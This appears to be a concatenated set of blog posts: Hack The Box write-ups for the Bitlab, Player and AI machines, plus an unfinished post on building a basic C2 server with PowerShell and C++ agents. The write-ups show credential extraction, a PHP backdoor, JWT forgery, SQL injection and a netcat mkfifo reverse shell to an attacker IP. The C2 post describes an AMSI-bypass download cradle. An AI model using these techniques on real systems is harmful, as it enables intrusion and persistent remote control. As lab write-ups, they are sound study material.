# Global snippets
User-Agent: *
Disallow: /s/
Disallow: /snippets/new
Disallow: /snippets/*/edit
Disallow: /snippets/*/raw
# Project details
User-Agent: *
Disallow: /*/*.git
Disallow: /*/*/fork/new
Disallow: /*/*/repository/archive*
Disallow: /*/*/activity
Disallow: /*/*/new
Disallow: /*/*/edit
Disallow: /*/*/raw
Disallow: /*/*/blame
Disallow: /*/*/commits/*/*
Disallow: /*/*/commit/*.patch
Disallow: /*/*/commit/*.diff
Disallow: /*/*/compare
Disallow: /*/*/branches/new
Disallow: /*/*/tags/new
Disallow: /*/*/network
Disallow: /*/*/graphs
Disallow: /*/*/milestones/new
Disallow: /*/*/milestones/*/edit
Disallow: /*/*/issues/new
Disallow: /*/*/issues/*/edit
Disallow: /*/*/merge_requests/new
Disallow: /*/*/merge_requests/*.patch
Disallow: /*/*/merge_requests/*.diff
Disallow: /*/*/merge_requests/*/edit
Disallow: /*/*/merge_requests/*/diffs
Disallow: /*/*/project_members/import
Disallow: /*/*/labels/new
Disallow: /*/*/labels/*/edit
Disallow: /*/*/wikis/*/edit
Disallow: /*/*/snippets/new
Disallow: /*/*/snippets/*/edit
Disallow: /*/*/snippets/*/raw
Disallow: /*/*/deploy_keys
Disallow: /*/*/hooks
Disallow: /*/*/services
Disallow: /*/*/protected_branches
Disallow: /*/*/uploads/
Disallow: /*/-/group_members
Disallow: /*/project_members
root@kali:~/Desktop/HTB/boxes/bitlab#
Most of the disallowed entries were paths related to the Gitlab application. I checked /help and found a page called bookmarks.html:
There was an interesting link called Gitlab Login:
Clicking on that link didn’t result in anything, so I checked the source of the page, the href attribute had some javascript code:
<DT><AHREF="javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()"ADD_DATE="1554932142">Gitlab Login</A>
I took that code, edited it a little bit and used the js console to execute it:
After logging in with the credentials (clave : 11des0081x) I found two repositories, Profile and Deployer:
I also checked the snippets and I found an interesting code snippet that had the database credentials which will be useful later:
<?php$db_connection=pg_connect("host=localhost dbname=profiles user=profiles password=profiles");$result=pg_query($db_connection,"SELECT * FROM profiles");
Back to the repositories, I checked Profile and it was pretty empty:
The path /profile was one of the disallowed entries in /robots.txt, I wanted to check if that path was related to the repository, so I checked if the same image (developer.jpg) existed, and it did:
Now we can simply upload a php shell and access it through /profile, I uploaded the php-simple-backdoor:
root@kali:~/Desktop/HTB/boxes/bitlab# nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.xx.xx] from (UNKNOWN) [10.10.10.114] 44340
/bin/sh: 0: can't access tty; job control turned off
$ which python
/usr/bin/python
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@bitlab:/var/www/html/profile$ ^Z
[1]+ Stopped nc -lvnp 1337
root@kali:~/Desktop/HTB/boxes/bitlab# stty raw -echo
root@kali:~/Desktop/HTB/boxes/bitlab# nc -lvnp 1337
www-data@bitlab:/var/www/html/profile$ export TERM=screen
www-data@bitlab:/var/www/html/profile$
Database Access –> Clave’s Password –> SSH as Clave –> User Flag
After getting a shell as www-data I wanted to use the credentials I got earlier from the code snippet and see what was in the database, however psql wasn’t installed:
www-data@bitlab:/var/www/html/profile$ psql
bash: psql: command not found
www-data@bitlab:/var/www/html/profile$
I executed the same query from the code snippet which queried everything from the table profiles, and I got clave’s password which I could use to get ssh access:
php>$result=$connection->query("SELECT * FROM profiles");php>$profiles=$result->fetchAll();php>print_r($profiles);Array([0]=>Array([id]=>1[0]=>1[username]=>clave[1]=>clave[password]=>c3NoLXN0cjBuZy1wQHNz==[2]=>c3NoLXN0cjBuZy1wQHNz==))php>
We owned user.
Reversing RemoteConnection.exe –> Root’s Password –> SSH as Root –> Root Flag
In the home directory of clave there was a Windows executable called RemoteConnection.exe:
clave@bitlab:~$ ls -la
total 44
drwxr-xr-x 4 clave clave 4096 Aug 8 14:40 .
drwxr-xr-x 3 root root 4096 Feb 28 2019 ..
lrwxrwxrwx 1 root root 9 Feb 28 2019 .bash_history -> /dev/null
-rw-r--r-- 1 clave clave 3771 Feb 28 2019 .bashrc
drwx------ 2 clave clave 4096 Aug 8 14:40 .cache
drwx------ 3 clave clave 4096 Aug 8 14:40 .gnupg
-rw-r--r-- 1 clave clave 807 Feb 28 2019 .profile
-r-------- 1 clave clave 13824 Jul 30 19:58 RemoteConnection.exe
-r-------- 1 clave clave 33 Feb 28 2019 user.txt
clave@bitlab:~$
Then I started looking at the code decompilation with Ghidra. One function that caught my attention was FUN_00401520():
/* WARNING: Could not reconcile some variable overlaps */voidFUN_00401520(void){LPCWSTRpWVar1;undefined4***pppuVar2;LPCWSTRlpParameters;undefined4***pppuVar3;int**in_FS_OFFSET;uintin_stack_ffffff44;undefined4*puVar4;uintuStack132;undefined*local_74;undefined*local_70;wchar_t*local_6c;void*local_68[4];undefined4local_58;uintlocal_54;void*local_4c[4];undefined4local_3c;uintlocal_38;undefined4***local_30[4];intlocal_20;uintlocal_1c;uintlocal_14;int*local_10;undefined*puStack12;undefined4local_8;local_8=0xffffffff;puStack12=&LAB_004028e0;local_10=*in_FS_OFFSET;uStack132=DAT_00404018^(uint)&stack0xfffffffc;*(int***)in_FS_OFFSET=&local_10;local_6c=(wchar_t*)0x4;local_14=uStack132;GetUserNameW((LPWSTR)0x4,(LPDWORD)&local_6c);local_38=0xf;local_3c=0;local_4c[0]=(void*)((uint)local_4c[0]&0xffffff00);FUN_004018f0();local_8=0;FUN_00401260(local_68,local_4c);local_74=&stack0xffffff60;local_8._0_1_=1;FUN_004018f0();local_70=&stack0xffffff44;local_8._0_1_=2;puVar4=(undefined4*)(in_stack_ffffff44&0xffffff00);FUN_00401710(local_68);local_8._0_1_=1;FUN_00401040(puVar4);local_8=CONCAT31(local_8._1_3_,3);lpParameters=(LPCWSTR)FUN_00401e6d();pppuVar3=local_30[0];if(local_1c<0x10){pppuVar3=local_30;}pWVar1=lpParameters;pppuVar2=local_30[0];if(local_1c<0x10){pppuVar2=local_30;}while(pppuVar2!=(undefined4***)(local_20+(int)pppuVar3)){*pWVar1=(short)*(char*)pppuVar2;pWVar1=pWVar1+1;pppuVar2=(undefined4***)((int)pppuVar2+1);}lpParameters[local_20]=L'\0';if(local_6c==L"clave"){ShellExecuteW((HWND)0x0,L"open",L"C:\\Program Files\\PuTTY\\putty.exe",lpParameters,(LPCWSTR)0x0,10);}else{FUN_00401c20((int*)cout_exref);}if(0xf<local_1c){operator_delete(local_30[0]);}local_1c=0xf;local_20=0;local_30[0]=(undefined4***)((uint)local_30[0]&0xffffff00);if(0xf<local_54){operator_delete(local_68[0]);}local_54=0xf;local_58=0;local_68[0]=(void*)((uint)local_68[0]&0xffffff00);if(0xf<local_38){operator_delete(local_4c[0]);}*in_FS_OFFSET=local_10;FUN_00401e78();return;}
It looked like it was checking if the name of the user running the program was clave, then It executed PuTTY with some parameters that I couldn’t see:
I copied the executable to a Windows machine and I tried to run it, however it just kept crashing.
I opened it in immunity debugger to find out what was happening, and I found an access violation:
It happened before reaching the function I’m interested in so I had to fix it. What I did was simply replacing the instructions that caused that access violation with NOPs.
I had to set a breakpoint before the cmp instruction, so I searched for the word “clave” in the referenced text strings and I followed it in the disassembler:
Then I executed the program and whenever I hit an access violation I replaced the instructions with NOPs, it happened twice then I reached my breakpoint:
After reaching the breakpoint I could see the parameters that the program gives to putty.exe in both eax and ebx, It was starting an ssh session as root and I could see the password:
And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.
Hey guys, today Player retired and here’s my write-up about it. It was a relatively hard CTF-style machine with a lot of enumeration and a couple of interesting exploits. It’s a Linux box and its ip is 10.10.10.145, I added it to /etc/hosts as player.htb. Let’s jump right in !
Nmap
As always we will start with nmap to scan for open ports and services:
root@kali:~/Desktop/HTB/boxes/player# nmap -sV -sT -sC -o nmapinitial player.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-17 16:29 EST
Nmap scan report for player.htb (10.10.10.145)
Host is up (0.35s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 d7:30:db:b9:a0:4c:79:94:78:38:b3:43:a2:50:55:81 (DSA)
| 2048 37:2b:e4:31:ee:a6:49:0d:9f:e7:e6:01:e6:3e:0a:66 (RSA)
| 256 0c:6c:05:ed:ad:f1:75:e8:02:e4:d2:27:3e:3a:19:8f (ECDSA)
|_ 256 11:b8:db:f3:cc:29:08:4a:49:ce:bf:91:73:40:a2:80 (ED25519)
80/tcp open http Apache httpd 2.4.7
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 403 Forbidden
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.12 seconds
root@kali:~/Desktop/HTB/boxes/player#
We got http on port 80 and ssh on port 22.
Web Enumeration
I got a 403 response when I went to http://player.htb/:
root@kali:~/Desktop/HTB/boxes/player# wfuzz --hc 403 -c -w subdomains-top1mil-5000.txt -H "HOST: FUZZ.player.htb" http://10.10.10.145
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.145/
Total requests: 4997
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000019: 200 86 L 229 W 5243 Ch "dev"
000000067: 200 63 L 180 W 1470 Ch "staging"
000000070: 200 259 L 714 W 9513 Ch "chat"
Total time: 129.1540
Processed Requests: 4997
Filtered Requests: 4994
Requests/sec.: 38.69021
root@kali:~/Desktop/HTB/boxes/player#
I added them to my hosts file and started checking each one of them.
On dev there was an application that needed credentials so we’ll skip that one until we find some credentials:
staging was kinda empty but there was an interesting contact form:
The form was interesting because when I attempted to submit it I got a weird error for a second then I got redirected to /501.php:
I intercepted the request with burp to read the error.
Request:
GET/contact.php?firstname=test&subject=testHTTP/1.1Host:staging.player.htbUser-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateReferer:http://staging.player.htb/contact.htmlConnection:closeUpgrade-Insecure-Requests:1
The error exposed some filenames like /var/www/backup/service_config, /var/www/staging/fix.php and /var/www/staging/contact.php. That will be helpful later. chat was a static page that simulated a chat application:
I took a quick look at the chat history between Olla and Vincent, Olla asked him about some pentest reports and he replied with 2 interesting things :
Staging exposing sensitive files.
Main domain exposing source code allowing to access the product before release.
We already saw that staging was exposing files, I ran gobuster on the main domain and found /launcher:
I tried to submit that form but it did nothing, I just got redirected to /launcher again:
Request:
GET/launcher/dee8dc8a47256c64630d803a4c40786c.phpHTTP/1.1Host:player.htbUser-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateReferer:http://player.htb/launcher/index.htmlConnection:closeCookie:access=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwcm9qZWN0IjoiUGxheUJ1ZmYiLCJhY2Nlc3NfY29kZSI6IkMwQjEzN0ZFMkQ3OTI0NTlGMjZGRjc2M0NDRTQ0NTc0QTVCNUFCMDMifQ.cjGwng6JiMiOWZGz7saOdOuhyr1vad5hAxOJCiM3uzUUpgrade-Insecure-Requests:1
Response:
HTTP/1.1302FoundDate:Fri, 17 Jan 2020 22:45:04 GMTServer:Apache/2.4.7 (Ubuntu)X-Powered-By:PHP/5.5.9-1ubuntu4.26Location:index.htmlContent-Length:0Connection:closeContent-Type:text/html
We know from the chat that the source code is exposed somewhere, I wanted to read the source of /launcher/dee8dc8a47256c64630d803a4c40786c.php so I tried some basic stuff like adding .swp, .bak and ~ after the file name. ~ worked (check this out):
It decodes the JWT token from the cookie access and redirects us to a redacted path if the value of access_code was 0E76658526655756207688271159624026011393, otherwise it will assign an access cookie for us with C0B137FE2D792459F26FF763CCE44574A5B5AB03 as the value of access_code and redirect us to index.html.
We have the secret _S0_R@nd0m_P@ss_ so we can easily craft a valid cookie. I used jwt.io to edit my token.
I used the cookie and got redirected to /7F2dcsSdZo6nj3SNMTQ1:
Request:
GET/launcher/dee8dc8a47256c64630d803a4c40786c.phpHTTP/1.1Host:player.htbUser-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateReferer:http://player.htb/launcher/index.htmlConnection:closeCookie:access=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwcm9qZWN0IjoiUGxheUJ1ZmYiLCJhY2Nlc3NfY29kZSI6IjBFNzY2NTg1MjY2NTU3NTYyMDc2ODgyNzExNTk2MjQwMjYwMTEzOTMifQ.VXuTKqw__J4YgcgtOdNDgsLgrFjhN1_WwspYNf_FjyEUpgrade-Insecure-Requests:1
Response:
HTTP/1.1302FoundDate:Fri, 17 Jan 2020 22:50:59 GMTServer:Apache/2.4.7 (Ubuntu)X-Powered-By:PHP/5.5.9-1ubuntu4.26Location:7F2dcsSdZo6nj3SNMTQ1/Content-Length:0Connection:closeContent-Type:text/html
contact.php didn’t have anything interesting and the avi for fix.php was empty for some reason. In service_config there were some credentials for a user called telegen:
I tried these credentials with ssh and with dev.player.htb and they didn’t work. I ran a quick full port scan with masscan and turns out that there was another open port:
root@kali:~/Desktop/HTB/boxes/player# masscan -p1-65535 10.10.10.145 --rate=1000 -e tun0
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-01-18 00:09:24 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 22/tcp on 10.10.10.145
Discovered open port 80/tcp on 10.10.10.145
Discovered open port 6686/tcp on 10.10.10.145
I scanned that port with nmap but it couldn’t identify the service:
PORT STATE SERVICE VERSION
6686/tcp open tcpwrapped
However when I connected to the port with nc the banner indicated that it was an ssh server:
I couldn’t write to it but it included another php file which I could write to (/var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php):
www-data@player:/tmp$cd/var/lib/playbuff/www-data@player:/var/lib/playbuff$catbuff.php<?phpinclude("/var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php");classplayBuff{public$logFile="/var/log/playbuff/logs.txt";public$logData="Updated";publicfunction__wakeup(){file_put_contents(__DIR__."/".$this->logFile,$this->logData);}}$buff=newplayBuff();$serialbuff=serialize($buff);$data=file_get_contents("/var/lib/playbuff/merge.log");if(unserialize($data)){$update=file_get_contents("/var/lib/playbuff/logs.txt");$query=mysqli_query($conn,"update stats set status='$update' where id=1");if($query){echo'Update Success with serialized logs!';}}else{file_put_contents("/var/lib/playbuff/merge.log","no issues yet");$update=file_get_contents("/var/lib/playbuff/logs.txt");$query=mysqli_query($conn,"update stats set status='$update' where id=1");if($query){echo'Update Success!';}}?>
www-data@player:/var/lib/playbuff$
I put my reverse shell payload in /tmp and added a line to /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php that executed it:
And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham Thanks for reading.
Hey guys, today AI retired and here’s my write-up about it. It’s a medium rated Linux box and its ip is 10.10.10.163, I added it to /etc/hosts as ai.htb. Let’s jump right in !
Nmap
As always we will start with nmap to scan for open ports and services:
root@kali:~/Desktop/HTB/boxes/AI# nmap -sV -sT -sC -o nmapinitial ai.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-24 17:46 EST
Nmap scan report for ai.htb (10.10.10.163)
Host is up (0.83s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6d:16:f4:32:eb:46:ca:37:04:d2:a5:aa:74:ed:ab:fc (RSA)
| 256 78:29:78:d9:f5:43:d1:cf:a0:03:55:b1:da:9e:51:b6 (ECDSA)
|_ 256 85:2e:7d:66:30:a6:6e:30:04:82:c1:ae:ba:a4:99:bd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Hello AI!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 123.15 seconds
root@kali:~/Desktop/HTB/boxes/AI#
We got ssh on port 22 and http on port 80.
Web Enumeration
The index page was empty:
By hovering over the logo a menu appears:
The only interesting page there was /ai.php. From the description (“Drop your query using wav file.”) my first guess was that it’s a speech recognition service that processes users’ input and executes some query based on that processed input, And there’s also a possibility that this query is a SQL query but we’ll get to that later.:
I also found another interesting page with gobuster:
SQL injection –> Alexa’s Credentials –> SSH as Alexa –> User Flag
As I said earlier, we don’t know what does it mean by “query” but it can be a SQL query. When I created another audio file that says it's a test I got a SQL error because of ' in it's:
The injection part was the hardest part of this box because it didn’t process the audio files correctly most of the time, and it took me a lot of time to get my payloads to work.
First thing I did was to get the database name.
Payload:
one open single quote union select database open parenthesis close parenthesis comment database
The database name was alexa, next thing I did was enumerating table names, my payload was like the one shown below and I kept changing the test after from and tried possible and common things.
Payload:
one open single quote union select test from test comment database
The table users existed.
Payload:
one open single quote union select test from users comment database
From here it was easy to guess the column names, username and password. The problem with username was that it processed user and name as two different words so I couldn’t make it work.
Payload:
one open single quote union select username from users comment database
password worked just fine.
Payload:
one open single quote union select password from users comment database
Without knowing the username we can’t do anything with the password, I tried alexa which was the database name and it worked:
We owned user.
JDWP –> Code Execution –> Root Shell –> Root Flag
Privilege escalation on this box was very easy, when I checked the running processes I found this one:
This was related to an Apache Tomcat server that was running on localhost, I looked at that server for about 10 minutes but it was empty and I couldn’t do anything there, it was a rabbit hole. If we check the listening ports we’ll see 8080, 8005 and 8009 which is perfectly normal because these are the ports used by tomcat, but we’ll also see 8000:
alexa@AI:~$ netstat -ntlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp6 0 0 127.0.0.1:8080 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 127.0.0.1:8005 :::* LISTEN -
tcp6 0 0 127.0.0.1:8009 :::* LISTEN -
alexa@AI:~$
A quick search on that port and how it’s related to tomcat revealed that it’s used for debugging, jdwp is running on that port.
The Java Debug Wire Protocol (JDWP) is the protocol used for communication between a debugger and the Java virtual machine (VM) which it debugs (hereafter called the target VM). -docs.oracle.com
By looking at the process again we can also see this parameter given to the java binary:
I searched for exploits for the jdwp service and found this exploit. I uploaded the python script on the box and I added the reverse shell payload to a file and called it pwned.sh then I ran the exploit:
alexa@AI:/dev/shm$ nano pwned.sh
alexa@AI:/dev/shm$ chmod +x pwned.sh
alexa@AI:/dev/shm$ cat pwned.sh
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f
alexa@AI:/dev/shm$ python jdwp-shellifier.py -t 127.0.0.1 --cmd /dev/shm/pwned.sh
[+] Targeting '127.0.0.1:8000'
[+] Reading settings for 'OpenJDK 64-Bit Server VM - 11.0.4'
[+] Found Runtime class: id=b8c
[+] Found Runtime.getRuntime(): id=7f40bc03e790
[+] Created break event id=2
[+] Waiting for an event on 'java.net.ServerSocket.accept'
Then from another ssh session I triggered a connection on port 8005:
alexa@AI:~$ nc localhost 8005
And the code was executed:
alexa@AI:/dev/shm$ nano pwned.sh
alexa@AI:/dev/shm$ chmod +x pwned.sh
alexa@AI:/dev/shm$ cat pwned.sh
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f
alexa@AI:/dev/shm$ python jdwp-shellifier.py -t 127.0.0.1 --cmd /dev/shm/pwned.sh
[+] Targeting '127.0.0.1:8000'
[+] Reading settings for 'OpenJDK 64-Bit Server VM - 11.0.4'
[+] Found Runtime class: id=b8c
[+] Found Runtime.getRuntime(): id=7f40bc03e790
[+] Created break event id=2
[+] Waiting for an event on 'java.net.ServerSocket.accept'
[+] Received matching event from thread 0x1
[+] Selected payload '/dev/shm/pwned.sh'
[+] Command string object created id:c31
[+] Runtime.getRuntime() returned context id:0xc32
[+] found Runtime.exec(): id=7f40bc03e7c8
[+] Runtime.exec() successful, retId=c33
[!] Command successfully executed
alexa@AI:/dev/shm$
And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham Thanks for reading.
It’s very common that after successful exploitation an attacker would put an agent that maintains communication with a c2 server on the compromised system, and the reason for that is very simple, having an agent that provides persistency over large periods and almost all the capabilities an attacker would need to perform lateral movement and other post-exploitation actions is better than having a reverse shell for example. There are a lot of free open source post-exploitation toolsets that provide this kind of capability, like Metasploit, Empire and many others, and even if you only play CTFs it’s most likely that you have used one of those before.
Long story short, I only had a general idea about how these tools work and I wanted to understand the internals of them, so I decided to try and build one on my own. For the last three weeks, I have been searching and coding, and I came up with a very basic implementation of a c2 server and an agent. In this blog post I’m going to explain the approaches I took to build the different pieces of the tool.
Please keep in mind that some of these approaches might not be the best and also the code might be kind of messy, If you have any suggestions for improvements feel free to contact me, I’d like to know what better approaches I could take. I also like to point out that this is not a tool to be used in real engagements, besides only doing basic actions like executing cmd and powershell, I didn’t take in consideration any opsec precautions.
This tool is still a work in progress, I finished the base but I’m still going to add more execution methods and more capabilities to the agent. After adding new features I will keep writing posts similar to this one, so that people with more experience give feedback and suggest improvements, while people with less experience learn.
The server itself is written in python3, I wrote two agents, one in c++ and the other in powershell, listeners are http listeners.
I couldn’t come up with a nice name so I would appreciate suggestions.
Listeners
Basic Info
Listeners are the core functionality of the server because they provide the way of communication between the server and the agents. I decided to use http listeners, and I used flask to create the listener application.
A Listener object is instantiated with a name, a port and an IP address to bind to:
The flask application which provides all the functionality of the listener has 5 routes: /reg, /tasks/<name>, /results/<name>, /download/<name>, /sc/<name>.
/reg
/reg is responsible for handling new agents, it only accepts POST requests and it takes two parameters: name and type. name is for the hostname while type is for the agent’s type.
When it receives a new request it creates a random string of 6 uppercase letters as the new agent’s name (that name can be changed later), then it takes the hostname and the agent’s type from the request parameters. It also saves the remote address of the request which is the IP address of the compromised host.
With these information it creates a new Agent object and saves it to the agents database, and finally it responds with the generated random name so that the agent on the other side can know its name.
/tasks/<name> is the endpoint that agents request to download their tasks, <name> is a placeholder for the agent’s name, it only accepts GET requests.
It simply checks if there are new tasks (by checking if the tasks file exists), if there are new tasks it responds with the tasks, otherwise it sends an empty response (204).
/results/<name> is the endpoint that agents request to send results, <name> is a placeholder for the agent’s name, it only accepts POST requests and it takes one parameter: result for the results.
It takes the results and sends them to a function called displayResults() (more on that function in the agent handler part), then it sends an empty response 204.
/sc/<name> is just a wrapper around the /download/<name> endpoint for powershell scripts, it responds with a download cradle prepended with a oneliner to bypass AMSI, the oneliner downloads the original script from /download/<name> , <name> is a placeholder for the script name, it only accepts GET requests.
It takes the script name, creates a download cradle in the following format:
I had to start listeners in threads, however flask applications don’t provide a reliable way to stop the application once started, the only way was to kill the process, but killing threads wasn’t also so easy, so what I did was creating a Process object for the function that starts the application, and a thread that starts that process which means that terminating the process would kill the thread and stop the application.
As mentioned earlier, I wrote two agents, one in powershell and the other in c++. Before going through the code of each one, let me talk about what agents do.
When an agent is executed on a system, first thing it does is get the hostname of that system then send the registration request to the server (/reg as discussed earlier).
After receiving the response which contains its name it starts an infinite loop in which it keeps checking if there are any new tasks, if there are new tasks it executes them and sends the results back to the server.
After each loop it sleeps for a specified amount of time that’s controlled by the server, the default sleep time is 3 seconds.
Let’s take a look inside the loop, first thing it does is request new tasks, we know that if there are no new tasks the server will respond with a 204 empty response, so it checks if the response is not null or empty and based on that it decides whether to execute the task execution code block or just sleep again:
If the flag was VALID it will continue, otherwise it will sleep again. This ensures that the data has been decrypted correctly.
if($flag-eq"VALID"){
After ensuring that the data is valid, it takes the command it’s supposed to execute and the arguments:
$command=$task[1]$args=$task[2..$task.Length]
There are 5 valid commands, shell, powershell, rename, sleep and quit.
shell executes cmd commands, powershell executes powershell commands, rename changes the agent’s name, sleep changes the sleep time and quit just exits.
Let’s take a look at each one of them. The shell and powershell commands basically rely on the same function called shell, so let’s look at that first:
It starts a new process with the given file name whether it was cmd.exe or powershell.exe and passes the given arguments, then it receives stdout and stderr and returns the result which is the VALID flag appended with stdout and stderr separated by a newline.
Now back to the shell and powershell commands, both of them call shell() with the corresponding file name, receive the output, encrypt it and send it:
The rename command updates the name variable and updates the tasks and results uris, then it sends an empty result indicating that it completed the task:
The same logic is applied in the c++ agent so I will skip the unnecessary parts and only talk about the http functions and the shell function.
Sending http requests wasn’t as easy as it was in powershell, I used the winhttp library and with the help of the Microsoft documentation I created two functions, one for sending GET requests and the other for sending POST requests. And they’re almost the same function so I guess I will rewrite them to be one function later.
The shell function does the almost the same thing as the shell function in the other agent, some of the code is taken from Stack Overflow and I edited it:
Then it defines the sleep time which is 3 seconds by default as discussed, it needs to keep track of the sleep time to be able to determine if an agent is dead or not when removing an agent, otherwise it will keep waiting for the agent to call forever:
self.sleept=3
After that it creates the needed directories and files:
And finally it creates the menu for the agent, but I won’t cover the Menu class in this post because it doesn’t relate to the core functionality of the tool.
self.menu=menu.Menu(self.name)self.menu.registerCommand("shell","Execute a shell command.","<command>")self.menu.registerCommand("powershell","Execute a powershell command.","<command>")self.menu.registerCommand("sleep","Change agent's sleep time.","<time (s)>")self.menu.registerCommand("clear","Clear tasks.","")self.menu.registerCommand("quit","Task agent to quit.","")self.menu.uCommands()self.Commands=self.menu.Commands
I won’t talk about the wrapper functions because we only care about the core functions.
First function is the writeTask() function, which is a quite simple function, it takes the task and prepends it with the VALID flag then it writes it to the tasks path:
As you can see, it only encrypts the task in case of powershell agent only, that’s because there’s no encryption in the c++ agent (more on that in the encryption part).
Second function I want to talk about is the clearTasks() function which just deletes the tasks file, very simple:
Third function is a very important function called update(), this function gets called when an agent is renamed and it updates the paths. As seen earlier, the paths depend on the agent’s name, so without calling this function the agent won’t be able to download its tasks.
The remaining functions are wrappers that rely on these functions or helper functions that rely on the wrappers. One example is the shell function which just takes the command and writes the task:
The last function I want to talk about is a helper function called displayResults which takes the sent results and the agent name. If the agent is a powershell agent it decrypts the results and checks their validity then prints them, otherwise it will just print the results:
defdisplayResults(name,result):ifisValidAgent(name,0)==True:ifresult=="":success("Agent {} completed task.".format(name))else:key=agents[name].keyifagents[name].Type=="p":try:plaintext=DECRYPT(result,key)except:return0ifplaintext[:5]=="VALID":success("Agent {} returned results:".format(name))print(plaintext[6:])else:return0else:success("Agent {} returned results:".format(name))print(result)
Payloads Generator
Any c2 server would be able to generate payloads for active listeners, as seen earlier in the agents part, we only need to change the IP address, port and key in the agent template, or just the IP address and port in case of the c++ agent.
PowerShell
Doing this with the powershell agent is simple because a powershell script is just a text file so we just need to replace the strings REPLACE_IP, REPLACE_PORT and REPLACE_KEY.
The powershell function takes a listener name, and an output name. It grabs the needed options from the listener then it replaces the needed strings in the powershell template and saves the new file in two places, /tmp/ and the files path for the listener. After doing that it generates a download cradle that requests /sc/ (the endpoint discussed in the listeners part).
It wasn’t as easy as it was with the powershell agent, because the c++ agent would be a compiled PE executable.
It was a huge problem and I spent a lot of time trying to figure out what to do, that was when I was introduced to the idea of a stub.
The idea is to append whatever data that needs to be dynamically assigned to the executable, and design the program in a way that it reads itself and pulls out the appended information.
In the source of the agent I added a few lines of code that do the following:
The winexe function takes a listener name, an architecture and an output name, grabs the needed options from the listener and appends them to the template corresponding to the selected architecture and saves the new file in /tmp:
I’m not very good at cryptography so this part was the hardest of all. At first I wanted to use AES and do Diffie-Hellman key exchange between the server and the agent. However I found that powershell can’t deal with big integers without the .NET class BigInteger, and because I’m not sure that the class would be always available I gave up the idea and decided to hardcode the key while generating the payload because I didn’t want to risk the compatibility of the agent. I could use AES in powershell easily, however I couldn’t do the same in c++, so I decided to use a simple xor but again there were some issues, that’s why the winexe agent won’t be using any encryption until I figure out what to do.
Let’s take a look at the crypto functions in both the server and the powershell agent.
Server
